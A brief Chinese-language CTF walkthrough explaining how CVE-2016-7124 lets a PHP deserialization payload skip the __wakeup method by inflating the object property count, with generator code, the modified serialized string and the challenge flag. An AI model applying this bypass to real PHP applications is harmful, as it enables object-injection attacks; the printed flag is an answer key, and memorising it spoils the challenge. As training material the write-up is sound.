结尾提示?code= 猜测通过code传入参数
__wakeup() 是魔术方法,经常用在反序列化操作中,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。
由题目代码可知只要触发了wakeup()方法就会执行exit()结束程序
根据题目描述这是一道反序列化题,猜测操作查看flag的代码在xctf类中并且隐藏了没显示在前台,我们需要利用反序列化来调用xctf类,同时需要绕过wakeup()方法
PS:利用CVE-2016-7124漏洞可绕过__wakeup()魔术方法
漏洞产生原因:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
构造序列化:把下面代码放到本地或在线php运行工具上运行
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');}
}
$test = new xctf();
echo serialize($test);
?>
得到序列化后的内容:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
把属性过数1改为2
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
浏览器提交
cyberpeace{064fb8821869c455d6c6409bd4676c59}